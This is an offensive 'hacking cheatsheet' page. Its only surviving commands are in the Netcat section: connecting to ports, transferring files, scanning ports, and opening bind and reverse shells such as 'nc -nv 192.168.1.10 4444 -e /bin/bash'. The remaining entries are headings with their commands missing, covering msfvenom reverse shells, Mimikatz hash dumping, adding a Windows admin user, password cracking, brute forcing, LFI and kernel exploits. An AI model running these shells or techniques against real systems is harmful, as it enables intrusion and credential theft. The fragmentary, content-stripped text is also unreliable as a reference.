Hacking cheatsheet
Hacking command list
Netcat
Connect to port
nc -nv 192.168.1.10 110Bind port and connect to:
nc -nlvp 4444
nc -nv 192.168.1.10 4444Copy files
nc -nlvp 4444 > dest-file
nc -nv 192.168.1.10 4444 < local-fileBind shell and remote execution
nc -nlvp 4444 -e cmd.exe
nc -nv 192.168.1.10 4444Reverse shell
nc -nlvp 4444
nc -nv 192.168.1.10 4444 -e /bin/bashScan ports
nc -nvv -w 1 -z 192.168.1.10 3388-3390Ncat
Bind shell SSL with allow IP address
Reverse shell SSL
Tcpdump
Load a .pcap file
Filter by source host
Filter by destination host
Filter by port
Print packet data in HEX and ASCI
Packets with ACK or PSH flags set
Print HEX data on an 1500 MTU card
The harvester
Search all sources for email
Search employees on linkedin
Search emails and query hosts in shodan
host
Find name servers
Find mail servers
Find address and mail servers
Reverse lookup
Transfer DNS zone
Try all NS DNS zone transfer
dnsrecon
Try DNS zone transfer
dnsenum
Enumerate host in a domain
Nmap
TCP syn/ack scan
Scan all ports
Identify host in the network (ICMP)
Scan port 80 on all hosts
OS, port, version, traceroute and script scan of top 20 port in a range
OS scan
Service Version scan
Script discover nsb and host version
Script DNS zone transfer
Scan for smb services (139-netbios,445-microsoft-ds)
Enum http path
SMB
Discover SMB hosts in a network, get IP, NetBIOS name and users
Discover SMB host info
Search specific vulnerability
Enumerate shares
Map smb shares
Mount share
SMTP
Connect smtp
SNMP
Port: 161
Type: UDP
Scan strings [community, public, manager, etc]
Enumerate MIB tree
Enumerate some SMTP OID
msfvenom
PHP reverse shell
Windows bind port (No firewall enabled)
Microsoft ASP .net reverse shell
Create windows executable
GCC / compilation
Regular compilation
Cross compile x86 in x86_64 host
Nikto
Analise web with default settings
dirb
Scan web service directories and files
Scan non recursively, non show attempts and bigger words list
FTP
Non interactive FTP download from windows
Mimikatz
Non interactive hash dump
Webserver
Create a python webserver
NoSQLmap
NoSQl user/pass enum
Searchsploit
Search exploit
See exploit code
Copy exploit current location
John the ripper
Merge passwd and shadow files
Crack passwords
Crack SSH key passphrase
Mutate cewl dictionary
hashcat
Crack linux passwords
File inclusion
LFI example
Shells
Python interactive bash shell
Scape restricted shell: -rbash: /usr/bin/python: restricted: cannot specify '/' in command names
Python reverse shell
Mysql
Non interactive queries
Robots.txt
Crawl robots txt as a search engine agent
Hydra
Generate passwds from web words
Brute force logging
Fuzzing
ffuz
Silent fuzzing
Whatweb
Windows commands
Create admin user with RDP
Quick local enumeration
Downloads
Download file with powershell
Option 1
Option 2
Non interactive download
Download file with certutil
Windows exploit suggester
Copy systeminfo to local host
Well know exploits
Ubuntu 11 - CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
Windows compiled exploits repo https://github.com/SecWiki/windows-kernel-exploits.git
Common vulnerabilities
vsFTPD 2.3.4
Exploit and reverse shell
Windows XP SP1 priv escalation
Last updated
Was this helpful?